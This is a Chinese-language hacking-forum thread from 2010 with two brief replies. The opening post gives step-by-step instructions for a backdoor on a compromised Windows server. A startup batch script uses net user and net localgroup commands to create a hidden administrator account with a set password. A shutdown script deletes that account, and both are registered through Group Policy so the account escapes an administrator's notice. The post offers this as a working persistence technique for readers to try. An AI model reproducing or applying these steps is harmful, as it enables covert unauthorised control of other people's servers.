【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: 抓到服务器【永远不让管理发现的后门】 [打印本页]

作者: 晓谛 时间: 2010-11-6 18:50 标题: 抓到服务器【永远不让管理发现的后门】

假如你现在有一台服务器。登陆上去。首先先建一个日记本到桌面，打开日记本  复制这些上去然后保存
@echo off
net user Administrator$ 60805039  /add
net localgroup administrators Administrator$ /add

然后保存。接着把日记本的名字改为《启动.bat》

net user Administrator$ 1350268888 /add 这个代表给服务器添加一个帐号

net localgroup administrators Administrator$ /add 这个代表添加到管理员组

接着在建一个日记本到桌面。打开复制然后保存

@echo off
net user Administrator$ /del

日记本的名字改为《关机.bat》

net user Administrator$ /del  代表删除这个帐号

2个文件都建好了。。现在我们在服务器左下角点开始接着运行这个命令Gpedit.msc 就会出现《组策略》

接着双击《Windows设置》就会看到脚本（启动/关机）双击会看到《启动和关机》

接着打开启动点添加把我们建的那个《启动.bat》添加上去。点确定。

关机.bat 这个文件也是一样做。这样就成功了

等服务器关机的时候就删了这个帐号Administrator$ 启动服务器就自然帮你建个这样的帐号了Administrator$

大家可以试试。

作者: cjk3069 时间: 2010-11-17 18:43

回你！！
顶上去！·！

作者: goblin 时间: 2011-3-25 15:48

没看明白这样做有啥意义？

欢迎光临【3.A.S.T】网络安全爱好者 (http://3ast.com/)